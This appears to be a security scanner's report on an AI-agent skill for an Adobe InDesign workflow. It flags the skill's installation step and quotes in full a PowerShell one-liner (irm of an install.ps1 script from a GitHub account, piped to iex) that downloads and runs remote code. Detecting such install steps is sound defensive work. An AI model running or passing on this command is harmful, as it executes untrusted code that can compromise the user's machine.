adobe-indesign-2026-workflow

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). The raw.githubusercontent.com link points to a PowerShell script in a likely unknown GitHub account intended to be run with irm | iex (remote code execution), which is a high‑risk delivery method for malware (ara.so may be the project site but does not mitigate the danger of executing a remote .ps1 from an untrusted repo).

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 0.90). The README includes a PowerShell one-liner (irm https://... | iex) that downloads and immediately executes a remote script, which is a high-risk supply-chain / remote code execution pattern; the rest of the document appears to be benign workflow documentation.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The Installation section includes a PowerShell command that downloads and immediately executes remote code (irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iex), so the skill relies on and runs external content from that raw.githubusercontent.com URL at runtime.